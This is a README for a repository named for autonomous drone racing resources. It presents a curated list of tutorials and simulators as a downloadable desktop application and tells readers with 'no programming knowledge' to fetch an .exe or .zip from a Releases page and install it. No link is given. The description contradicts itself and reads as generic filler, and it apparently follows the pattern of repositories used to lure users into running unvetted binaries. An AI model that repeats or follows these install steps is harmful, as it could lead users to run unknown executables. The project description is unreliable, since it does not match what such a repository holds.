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🚀 awesome-autonomous-drone-racing - Easy Setup for Drone Racing
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📚 Overview
Welcome to the “awesome-autonomous-drone-racing” repository. Here, we provide various resources for autonomous drone racing, such as reinforcement learning tutorials and simulation environments. This project supports competitions like the Anduril AI Grand Prix and AlphaPilot, providing tools and starter code to help you succeed in drone racing.
🚀 Getting Started
To get started with autonomous drone racing, simply follow the steps below. No programming knowledge is required.
📥 Step 1: Download the Application
To access the files you need, visit this page to download. You will find different versions of the application available for download.
💻 Step 2: Choose the Right Version
On the Releases page, you will see a list of available versions. Choose the latest stable release for the best experience. This version includes bug fixes and improvements.
📂 Step 3: Download the File
Click on the version you want, and then select the downloadable file based on your operating system. Common formats include .exe for Windows and .zip for macOS. After you’ve clicked, your download will start automatically.
🔧 Step 4: Install the Application
Once the file has finished downloading, locate it in your downloads folder:
- Windows: Double-click the
.exefile and follow the on-screen instructions to install. - macOS: Double-click the
.zipfile, extract it, and then drag the application into your Applications folder.
▶️ Step 5: Run the Application
After installation, open the application:
- Windows: Find it in your Start menu.
- macOS: Open your Applications folder and double-click the app icon.
🚀 Features
This application covers several key aspects of drone racing, including:
- AI Grand Prix Simulation: Practice in a simulated environment where you can hone your flying skills.
- Reinforcement Learning Tools: Access tutorials and starter code to understand and implement RL techniques for autonomous flying.
- Computer Vision Support: Improve your drone’s ability to navigate and avoid obstacles with vision-based techniques.
- Trajectory Planning: Learn how to plan your drone’s path efficiently and effectively for optimal racing performance.
🛠️ System Requirements
To run the application smoothly, ensure your system meets these requirements:
- Operating System: Windows 10 or later, macOS Mojave or later.
- Memory: At least 8GB of RAM.
- Processor: Dual-core CPU or better.
- Graphics Card: A dedicated graphics card is recommended for simulation.
🙌 Contributing
We welcome contributions from anyone interested in improving this project. If you have ideas for features or have found bugs, feel free to submit a pull request or an issue on our GitHub page.
📦 Download & Install
To start your journey into autonomous drone racing, make sure to visit this page to download. Follow the steps above, and you’re ready to fly!
🚁 Support and Community
Join our community of drone racing enthusiasts. Share experiences, ask questions, and learn together. You can find us on platforms like Discord and Reddit, where we regularly discuss tips, tricks, and improvements.
🔍 Additional Resources
To enhance your knowledge, consider exploring the following topics:
- Reinforcement Learning: Understand how to teach your drone to learn from its environment.
- Computer Vision: Learn techniques to aid your drone in recognizing obstacles and navigating pathways.
- Simulation Tools: Familiarize yourself with popular simulation environments like AirSim and Flightmare.
🌟 Conclusion
Thank you for choosing our application. We are excited to see you join the autonomous drone racing community. Enjoy the thrill of racing and the challenge of mastering drone technology!